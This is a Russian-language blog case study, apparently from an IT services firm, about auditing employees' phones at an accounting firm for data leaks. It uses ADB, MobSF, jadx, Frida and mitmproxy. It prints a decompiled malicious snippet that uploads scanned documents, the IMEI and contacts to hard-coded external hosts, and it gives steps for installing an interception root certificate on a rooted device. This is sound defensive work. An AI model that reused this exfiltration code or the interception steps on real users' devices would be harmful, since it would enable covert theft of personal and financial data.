Аудит мобильных приложений у бухгалтерии: что мы нашли в 47 телефонах
К нам в ITfresh обратилась бухгалтерская фирма из ЦАО — 47 рабочих мест, обслуживание примерно 240 юрлиц на УСН и ОСН. Старший партнёр заметил, что один из бухгалтеров получает странные звонки с упоминанием выручки конкретного клиента, и попросил «проверить, не льётся ли что-то с телефонов». Мы взяли в работу 47 устройств, перебрали 312 установленных приложений, через Frida и mitmproxy подсмотрели, куда они стучатся, и составили акт на удаление 23 приложений и переустановку клавиатур у 41 сотрудника. Эта статья — пошаговый разбор того, как мы это делали, без приукрашиваний.
Почему смартфон бухгалтера — самая уязвимая точка офиса
За последние пять лет границу периметра прошёл не межсетевой экран, а руки сотрудника. На рабочем компьютере у бухгалтера стоит антивирус, групповая политика блокирует USB и запуск неподписанных установщиков. На сервере 1С — отдельная VLAN, регулярные снапшоты, заполненный journald. А в кармане у того же бухгалтера — Android-смартфон, в который сама же бухгалтерия три года назад поставила «бесплатный сканер штрихкодов от Альфа-банка» из неофициального APK, потому что «в Google Play такого нет».
Отсюда простая фраза, которую я повторяю каждому клиенту: периметр компании сегодня заканчивается там, где находится не самый внимательный сотрудник. Не на роутере MikroTik, не на серверной стойке Dell — на экране телефона уставшего человека вечером.
У бухгалтерии угроза прицельная. Через мобильник проходит банк-клиент с push-подтверждениями платежей, СБИС с приёмкой первички, 1С Мобильное с базой контрагентов, ЭДО Контур с подписанием актов. На том же телефоне стоит мессенджер для общения с клиентами, в котором пересылается копия паспорта генерального директора, ключ ЭП и фото расчётного счёта. Утечка любого из этих каналов — это либо прямой увод денег, либо медленная продажа базы клиентов конкурентам.
С какой жалобы всё началось
Старший партнёр фирмы рассказал по телефону: «Звонит наша же сотрудница, говорит, что ей за выходные позвонили с номера +7 499, представились налоговой, и в разговоре назвали обороты по конкретному клиенту, которые она вчера вбивала в декларацию. Получается, кто-то знает то, что есть только у неё в смартфоне и в облаке СБИС». Я сразу поехал на встречу — за 15 лет работы это классический почерк инфостилера на стороне сотрудника, не утечки серверной БД.
Этап 1. Сбор телефонов и инвентаризация без шума
Главный риск аудита — спугнуть инсайдера, если он есть. Поэтому первое, что я сделал — попросил партнёра не объявлять «у нас будет проверка телефонов». Вместо этого мы оформили это как «обновление корпоративной политики безопасности» с обязательной установкой агента MDM. Сотрудники заранее получили шаблон уведомления, в пятницу вечером сдали телефоны на 90 минут — этого хватило для базового сбора без отрыва от работы.
Из 47 устройств: 38 Android (от Xiaomi Redmi 10C 2022 года до Samsung Galaxy A55 2024 года), 9 iPhone (от iPhone 11 до iPhone 15 Pro). По правам собственности — 12 корпоративных, 35 личных, на которых установлены рабочие приложения. Это типичный BYOD-сценарий, в котором мы и работаем чаще всего.
Базовый снимок системы я снимаю через ADB на Android и cfgutil на iOS:
# Android: список всех установленных пакетов с версиями и путём к APK
adb shell pm list packages -f -U > apps_$(date +%Y%m%d)_$DEVICE_ID.txt
# Полный дамп пермишенов по приложениям
for pkg in $(adb shell pm list packages | sed 's/package://'); do
echo "=== $pkg ==="
adb shell dumpsys package "$pkg" | grep -E "(granted=true|requested|firstInstallTime)"
done > permissions_dump.txt
# Список приложений с системными подписями (раскрывает «маскирующиеся» под Google)
adb shell pm list packages -s -i | sort
# Активные процессы и их сетевые соединения
adb shell ss -tunap 2>/dev/null > netstat_dump.txt
На 38 Android-устройствах в среднем оказалось 178 приложений на каждом, из которых 91 — пользовательские (без системы). Итого корпус для анализа: примерно 312 уникальных пакетов после дедупликации.
Первая группировка — что отсеяли сразу
Из 312 пакетов 89 — это известные мне крупные приложения с длинной историей: Telegram, WhatsApp, СберБанк Онлайн, ВТБ Онлайн, Тинькофф, СБИС, 1С Предприятие, Контур.Эльба, Microsoft Authenticator. Им я доверяю в том смысле, что они не сольют базу контрагентов на левый сервер. Но и для них дальше будет проверка пермишенов — потому что массовое доверие не значит, что у каждого пользователя они настроены безопасно.
Остальные 223 пакета — мишень для глубокого аудита. Из них автоматически выделил 47 «подозрительных»: они либо имели подозрительные комбинации прав (READ_SMS + READ_CONTACTS + INTERNET без видимой причины), либо подписаны не Google Play, либо имели больше 12 рекламных SDK по выводу aapt dump badging. По ним я подключил статический анализ.
Этап 2. Статический анализ APK через jadx и MobSF
Подозрительные APK я выгружаю с устройства и прогоняю через MobSF (Mobile Security Framework) — открытый фреймворк, который раскладывает приложение на манифест, ресурсы, декомпилированный код и сигнатуры опасных вызовов. Установка локально на VM с Ubuntu 22.04:
# Локальная VM 4 vCPU / 8 GB RAM / 100 GB SSD
git clone https://github.com/MobSF/Mobile-Security-Framework-MobSF.git
cd Mobile-Security-Framework-MobSF
./setup.sh
./run.sh 127.0.0.1:8000
# Выгрузка APK с устройства
adb shell pm path ru.sus.scanner
adb pull /data/app/~~hash==/ru.sus.scanner-hash==/base.apk \
./apks/ru.sus.scanner.apk
# Дополнительно — декомпиляция в читаемый Java через jadx
jadx -d ./decompiled/ru.sus.scanner ./apks/ru.sus.scanner.apk
В MobSF я смотрю прежде всего на четыре блока: разрешения с пометкой «dangerous», список подключённых трекеров (Exodus Privacy через интегрированный сканер), список захардкоженных URL и наличие класса WebView с переопределённым shouldInterceptRequest — это типичный почерк приложений, которые стучатся на C2-сервер под видом загрузки картинок.
Кейс 1. Сканер документов с тремя серверами в КНР
Первая находка — приложение «Сканер ПДФ Профи», установленное на 18 из 38 Android-устройств. Открываю манифест: android.permission.READ_EXTERNAL_STORAGE, READ_CONTACTS, ACCESS_FINE_LOCATION, RECORD_AUDIO. Зачем сканеру документов микрофон и доступ к контактам? Никакого ответа в описании я не нашёл.
В декомпилированном коде через jadx нахожу класс com.scanpdf.tracker.UploadTask с тремя жёстко прописанными хостами в зоне .cn. После каждого сканирования приложение делает POST с base64-копией документа и метаданными устройства (IMEI, MAC, модель, версия Android, IP). По сути — каждая отсканированная накладная улетает на сторонний сервер.
// Фрагмент декомпилированного кода (упрощено)
public class UploadTask extends AsyncTask {
private static final String[] HOSTS = {
"https://api.scancloud-xxx.cn/v2/upload",
"https://backup.docu-xxx.cn/sync",
"https://stat.appmetric-xxx.cn/event"
};
protected Object doInBackground(Object... params) {
String docBase64 = encodeFile((File) params[0]);
JSONObject payload = new JSONObject();
payload.put("doc", docBase64);
payload.put("imei", DeviceInfo.getImei());
payload.put("contacts", ContactsHelper.dumpAll());
// POST на каждый хост в цикле для надёжности
for (String host : HOSTS) httpPost(host, payload);
return null;
}
}
В отчёте я зафиксировал: приложение установлено у 18 сотрудников, через него за последний год прошло около 4200 первичных документов клиентов. Считай — копия годовой первички 240 юрлиц фирмы лежит на трёх серверах в КНР. Это не паранойя, это исходники.
Кейс 2. Кастомная клавиатура Pro
На 22 устройствах оказалась альтернативная клавиатура (не буду называть конкретное имя, чтобы не делать рекламу). У клавиатуры есть права BIND_INPUT_METHOD и доступ в интернет — нормальная штатная связка. Проблема в коде: класс SyncEngine каждые 6 минут отправляет JSON со всеми набранными за период строками длиннее 6 символов на сервер «для улучшения предиктивного ввода».
Бухгалтер набирает на этой клавиатуре пароль от 1С, ИНН клиента, сумму платежа в банк-клиенте, текст переписки в WhatsApp с генеральным. Всё это уходит на чужой сервер с обещанием «в обезличенном виде». Я в обезличивание не верю — слишком много контекста для деанонимизации даже у синтетического алгоритма.
Этап 3. Динамический анализ через Frida на эталонном устройстве
Статический анализ показывает, что приложение умеет, но не показывает, что оно делает прямо сейчас. Для этого нужен динамический анализ: запускаем приложение, перехватываем его системные вызовы, смотрим, какие API оно дёргает в реальной работе. Делаем это на эталонном тестовом устройстве — Pixel 6 с разлоченным загрузчиком и установленным Magisk + Frida-server.
Личные телефоны сотрудников я не рутую — это нарушение как этики, так и часто гарантии. Покупаем тестовое устройство, переносим на него подозрительный APK, запускаем под Frida с типичным сценарием использования.
# На рабочей станции с Frida CLI
pip install frida-tools
# На устройстве (с правами root)
adb push frida-server-16.5.0-android-arm64 /data/local/tmp/
adb shell "su -c 'chmod 755 /data/local/tmp/frida-server-16.5.0-android-arm64'"
adb shell "su -c '/data/local/tmp/frida-server-16.5.0-android-arm64 &'"
# Подключение и список процессов
frida-ps -U
# Скрипт-перехватчик для отслеживания всех HTTP-запросов через OkHttp
frida -U -l hook_okhttp.js -f ru.sus.scanner --no-pause
Сам hook_okhttp.js — это короткий JavaScript, который подменяет метод newCall в OkHttp и пишет в консоль каждый исходящий запрос вместе с заголовками и телом:
Java.perform(function() {
var OkHttpClient = Java.use('okhttp3.OkHttpClient');
OkHttpClient.newCall.implementation = function(request) {
console.log('[OkHttp] -> ' + request.method() + ' ' + request.url());
var headers = request.headers();
for (var i = 0; i < headers.size(); i++) {
console.log(' ' + headers.name(i) + ': ' + headers.value(i));
}
if (request.body() !== null) {
var Buffer = Java.use('okio.Buffer');
var buf = Buffer.$new();
request.body().writeTo(buf);
console.log(' body: ' + buf.readUtf8());
}
return this.newCall(request);
};
});
За 30 минут наблюдения за «Сканером ПДФ Профи» я зафиксировал 47 исходящих запросов на три разных хоста. Запрос на каждый сохранённый документ дублировался дважды (двойная отправка с разных серверов SDK). В заголовках — IMEI, IMSI, Mac-адрес и версия прошивки.
Перехват HTTPS через mitmproxy
Если приложение использует не OkHttp, а низкоуровневые сокеты или native-библиотеку, Frida-hook на уровне Java бесполезен. Тогда я разворачиваю mitmproxy на VM и направляю на него весь трафик с тестового устройства, предварительно установив корневой сертификат mitmproxy в системное хранилище:
# mitmproxy 11 на Ubuntu 22.04
pip install mitmproxy==11.0.0
mitmproxy --listen-port 8080 --set ssl_insecure=false
# На устройстве через ADB настраиваем глобальный прокси
adb shell settings put global http_proxy 192.168.10.45:8080
# Сертификат mitmproxy в системное хранилище (требует root)
adb push mitmproxy-ca-cert.cer /sdcard/Download/
adb shell "su -c 'mv /sdcard/Download/mitmproxy-ca-cert.cer /system/etc/security/cacerts/c8750f0d.0'"
adb shell "su -c 'chmod 644 /system/etc/security/cacerts/c8750f0d.0'"
adb reboot
После этого вижу всё, что приложение шлёт по HTTPS — включая JSON-payload, токены и заголовки. На этом этапе всплыли ещё три истории: VPN-приложение «Free VPN Master» помимо туннелирования отправляло список всех URL пользователя на маркетинговый домен, фитнес-трекер передавал GPS на adserver каждые 90 секунд (даже когда тренировки не было), а блокировщик рекламы устанавливал свой root-сертификат и MITM-ил весь трафик пользователя.
Этап 4. Аудит iOS-устройств — другая методика
На девяти iPhone стандартный root-подход не работает: jailbreak на актуальных iOS 17/18 либо невозможен, либо ломает банковские приложения через Jailbreak Detection. Поэтому для iOS я использую другой набор инструментов.
Сначала собираю отчёт через MDM-агент (мы используем Jamf School и Microsoft Intune в зависимости от клиента). Из MDM получаю полный список приложений, версии, MDM-managed flag, дату установки. Это даёт картину «что стоит и откуда».
Дальше — анализ iOS Privacy Reports. С iOS 15.2 в системных настройках есть встроенный отчёт о доступе приложений к камере, микрофону, геолокации и сети. Он сохраняется на устройстве 7 дней. Я выгружаю его через ADB-аналог libimobiledevice:
# Установка libimobiledevice на macOS / Linux
brew install libimobiledevice
# Подключение устройства (требуется доверие на самом телефоне)
idevicepair pair
# Извлечение журнала диагностики и privacy
idevicecrashreport -e ./crashlogs/
idevicebackup2 backup --full ./backup/iphone_$DEVICE_ID/
# Парсинг privacy.json внутри бэкапа Plist-парсером
Помимо этого, я смотрю на «Configuration Profiles» — на iPhone это самый частый канал атаки. Установленный profile может перенаправить трафик на чужой VPN, поставить root-сертификат, заблокировать iCloud Lock. Из 9 iPhone у одного нашёл «бесплатный VPN-профиль», который пользователь поставил по ссылке из рекламы в Telegram. После удаления профиля и сертификата я полностью переустановил банк-клиенты.
Этап 5. Что мы нашли в итоге — разбор по категориям
После шести дней работы у меня был отчёт на 38 страниц, который я свёл клиенту в пять цифр. Вот они:
- 23 приложения подлежат удалению с корпоративных устройств. 6 категорий: левые сканеры (3 приложения), кастомные клавиатуры с облачным синком (2), VPN с китайскими SDK (4), фонарики и счётчики калорий с пермишенами на контакты (5), бесплатные блокировщики рекламы с собственными сертификатами (3), кастомные браузеры с встроенными трекерами (6).
- 41 устройство имеет неправильно настроенные пермишены у легитимных приложений. WhatsApp с включённым доступом к камере 24/7, Telegram с разрешённой геолокацией, Google Photos с автоматической синхронизацией всех скриншотов (включая скриншоты банк-клиента).
- 14 устройств имеют root или jailbreak неизвестного происхождения (поставил кто-то из «знакомых компьютерщиков»). Эти устройства мы первым делом отключили от рабочей почты.
- 2 случая прямой утечки реквизитов. На одном устройстве в SharedPreferences приложения «учёт расходов» лежал в открытом виде сохранённый пароль от банк-клиента. На другом — токен от 1С Облака без срока действия.
- 6 SDK-трекеров присутствовали более чем в 30 приложениях каждый: Adjust, Yandex AppMetrica (легитимная аналитика), Firebase (легитимная), плюс три неизвестных мне сетевых SDK с обфусцированным кодом.
Главная находка для партнёра фирмы: причина утечки выручки конкретного клиента — клавиатура Pro у бухгалтера, отвечающего за этого клиента. Замена клавиатуры на встроенную AOSP плюс смена пароля 1С и банк-клиента закрыли сценарий за один день.
Этап 6. Внедрение MDM и политики на боевых устройствах
После аудита я не оставляю клиента наедине с длинным списком «что плохо». Дальше — внедрение MDM и групповых политик для мобильных. Для бухгалтерской фирмы мы выбрали Microsoft Intune (есть в их подписке Microsoft 365 Business Premium) плюс Apple Business Manager для iPhone.
Базовая политика для Android
# Android Enterprise — work profile со строгими настройками
# Конфигурация через Intune Admin Center -> Device Configuration
managed_apps:
whitelist_only: true
approved_list:
- com.tencent.mobileqq # запрет
- org.telegram.messenger # разрешено
- com.whatsapp # разрешено
- ru.sber.online # разрешено
- ru.contour.elba # разрешено
- com.microsoft.office.outlook # разрешено
- com.1cv8.mobile # разрешено
restrictions:
installFromUnknownSources: false
allowInstallApps: false # установка только через corporate store
allowDebuggingFeatures: false
cameraDisabled: false # камера разрешена для сканирования
screenCaptureDisabled: true # запрет скриншотов в work-profile
copyPasteToPersonalProfile: false # запрет copy/paste из рабочего в личное
bluetoothContactSharing: false
factoryResetDisabled: true
defaultPermissionPolicy: deny
allowedKeyboards:
- com.google.android.inputmethod.latin
- com.samsung.android.honeyboard
password_policy:
minLength: 8
requireBiometric: true
maxFailedAttempts: 8
lockTimeout: 60
Базовая политика для iOS
# Apple Configuration Profile (XML)
PayloadType
com.apple.applicationaccess
allowAppInstallation
allowAppRemoval
allowSafari
allowScreenShot
allowAssistant
allowAirDrop
allowBookstore
allowEnterpriseAppTrust
allowUntrustedTLSPrompt
forceEncryptedBackup
Главное в политике — разрешать только приложения из corporate store, запрещать установку из неизвестных источников, отключать скриншоты в рабочем профиле и блокировать передачу файлов между рабочим и личным контекстом. Это базовый минимум для любой компании, обрабатывающей персональные данные третьих лиц.
Этап 7. Регламент проверки на ежеквартальной основе
Аудит — это разовая процедура. Чтобы безопасность держалась во времени, нужен регламент. После проекта я предложил клиенту три уровня контроля:
- Ежедневно (автомат через MDM). Intune собирает inventory приложений, шлёт алерт в Telegram-канал нашей дежурной смены, если на устройстве появляется приложение из чёрного списка или происходит попытка установки из неизвестных источников. Реакция — звонок сотруднику и удалённое удаление.
- Раз в квартал (ручной mini-аудит). Наш инженер выгружает с MDM полный список приложений, прогоняет новые пакеты через MobSF, обновляет белый список. Работа на полдня инженера — около 12 000 рублей в квартал.
- Раз в год (полный re-аудит). Полное повторение проекта с Frida и mitmproxy на 3-5 эталонных устройствах. Работа на 2-3 дня — около 60 000 рублей.
За первые три месяца после внедрения MDM Intune прислал 14 алертов — кто-то из сотрудников пытался поставить «бесплатное приложение для расчёта налогов» из неофициального магазина, кто-то — менеджер игр для своего профиля. На каждый алерт реакция была в течение часа, проблем больше не было.
Контр-нарратив. Чего я НЕ рекомендую делать
В индустрии есть несколько популярных рекомендаций, которые я считаю вредными для МСБ. Делюсь личным мнением.
«Поставьте всем антивирус на телефон». Бесполезно. Большинство мобильных антивирусов на Android работают по сигнатурному принципу и не видят свежей малвари. На iOS они вообще не имеют доступа к процессам других приложений из-за песочницы. Зато создают ложное чувство безопасности и тормозят телефон. Гораздо эффективнее MDM с белым списком.
«Запретите все мессенджеры кроме корпоративного». Не работает с малым бизнесом. Клиенты пишут в WhatsApp/Telegram, и сотрудник в любом случае будет общаться. Лучше разрешить, но через MDM запретить автосохранение медиа и резервные копии в личное облако.
«Купите дорогой EMM-комбайн на тысячи долларов в месяц». Перебор для офиса 30-50 человек. Microsoft Intune входит в подписку Business Premium (около 2200 рублей за пользователя в месяц с учётом курса) и закрывает 90% задач малой компании. На больший масштаб уже имеет смысл смотреть в сторону Workspace ONE или Jamf.
Сколько это всё стоило клиенту
Для прозрачности — реальная смета по этому проекту:
- Сбор данных и инвентаризация (1 день) — 25 000 рублей.
- Статический анализ 12 подозрительных APK (2 дня) — 60 000 рублей.
- Динамический анализ через Frida + mitmproxy на 4 эталонных устройствах (2 дня) — 60 000 рублей.
- Аудит iOS через MDM и privacy reports (0.5 дня) — 15 000 рублей.
- Отчёт и рекомендации (0.5 дня) — 15 000 рублей.
- Итого аудит: 175 000 рублей за 6 рабочих дней.
- Внедрение Intune для 47 устройств — отдельным проектом 95 000 рублей.
- Подписка Microsoft 365 Business Premium на 47 человек — 103 400 рублей в месяц на стороне клиента.
- Абонемент ITfresh на поддержку MDM — 18 000 рублей в месяц.
Полная окупаемость — за один предотвращённый инцидент. Утечка одной базы клиентов фирмы стоит на чёрном рынке 200-400 тысяч рублей, а репутационно — это потеря 5-7 крупных клиентов сразу. Так что 175 тысяч за разовый аудит — это, по моим оценкам, 1/10 от стоимости одного инцидента.
FAQ: что чаще всего спрашивают клиенты
Можно ли провести аудит без рутования телефонов сотрудников?
Да. Базовый аудит — пермишены, список приложений, версии, активные сетевые соединения — снимается через ADB и MDM-агент без root. Рут нужен только для глубокого инструмента: hook-ов через Frida, перехвата HTTPS с подменой системных сертификатов, дампа SharedPreferences. На корпоративных телефонах для глубокого аудита мы используем выделенное тестовое устройство с root, а на боевые ставим только агент MDM.
Сколько стоит такой аудит для компании на 30-50 человек?
Для 47 устройств у клиента-бухгалтерии работа заняла 6 рабочих дней инженера и обошлась в 175 000 рублей. Сюда вошёл сбор данных, статический анализ 12 подозрительных APK, динамический анализ через Frida на 4 эталонных телефонах, отчёт с конкретным списком к удалению, политика MDM. Дальше клиент платит абонемент за поддержку MDM — 18 000 рублей в месяц.
А если сотрудники откажутся ставить MDM-агент на личные телефоны?
По моему опыту — большинство соглашается, если объяснить, что профиль work-only через Android Enterprise или Apple User Enrollment изолирован от личных данных. Видим только корпоративные приложения. Тем, кто отказывается, выдаём корпоративный телефон. Третий путь — отзыв доступа к рабочей почте и 1С с личного устройства, и часть людей в этот момент соглашается на MDM.
Какие приложения мы чаще всего удаляем у бухгалтеров?
Топ-5 за 2026 год: VPN-приложения с китайскими SDK (запрашивают полный доступ к трафику и логируют URL), кастомные клавиатуры (пишут всё, что вы набираете, включая пароли), фонарики с разрешением на чтение контактов, бесплатные сканеры документов с загрузкой в чужое облако, блокировщики рекламы, устанавливающие свой root-сертификат. Все шесть категорий — потенциальный канал утечки персональных данных клиентов фирмы.
Чем отличается аудит для бухгалтерии от аудита для разработчиков?
Бухгалтерия работает с банк-клиентами, СБИС, 1С Мобильным, ЭДО — это деньги и персональные данные клиентов. Угроза первая — кейлоггеры и шпионские клавиатуры. Разработчики держат на телефонах GitHub, корпоративный VPN, доступ к staging-серверам — у них приоритет на изоляцию от заражённых рабочих станций и защиту OAuth-токенов. Бухгалтеру я в первую очередь чищу клавиатуры и сторонние банк-сканеры, разработчику — всё, что может перехватить SMS с одноразовым кодом.
Итог
Бухгалтерская фирма из ЦАО за шесть дней работы получила список из 23 приложений к удалению, 41 устройство с переработанными настройками пермишенов, регламент квартального контроля и политику MDM на 47 человек. Главная утечка, с которой пришёл клиент, закрылась в первый же день — после удаления одной кастомной клавиатуры у одного бухгалтера. Дальше работа была про систему: чтобы такая ситуация не повторилась через полгода с другим сотрудником.
Похожая задача в вашей компании?
Расскажите, что у вас сейчас — пришлю план работ и оценку в течение рабочего дня.
Написать в Telegram или +7 903 729-62-41
Семёнов Е.С., руководитель ITfresh